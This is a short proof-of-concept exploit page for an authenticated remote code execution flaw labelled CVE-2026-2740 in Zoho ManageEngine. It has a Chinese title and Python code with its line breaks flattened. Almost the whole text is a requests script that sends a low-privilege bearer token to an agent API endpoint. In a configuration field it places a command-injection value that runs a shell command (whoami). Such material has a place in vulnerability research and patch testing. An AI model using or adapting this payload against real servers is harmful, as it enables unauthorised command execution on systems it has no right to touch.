CVE-2026-2740 Zoho ManageEngine认证RCE漏洞

import requests # Target URL of the vulnerable agent endpoint target_url = "http://target-server:8080/agent/api" # Valid authentication credentials or session token auth_header = { "Authorization": "Bearer <valid_low_priv_token>" } # Malicious payload exploiting the 3rd party dependency bug # This attempts to execute a shell command (e.g., whoami) exploit_payload = { "config": { "dependency_field": "; /bin/sh -c 'whoami'" } } try: response = requests.post(target_url, json=exploit_payload, headers=auth_header, verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the command was executed on the agent machine.") print("Response:", response.text) else: print("[-] Failed to send request.") print("Status Code:", response.status_code) except Exception as e: print(f"[!] An error occurred: {e}")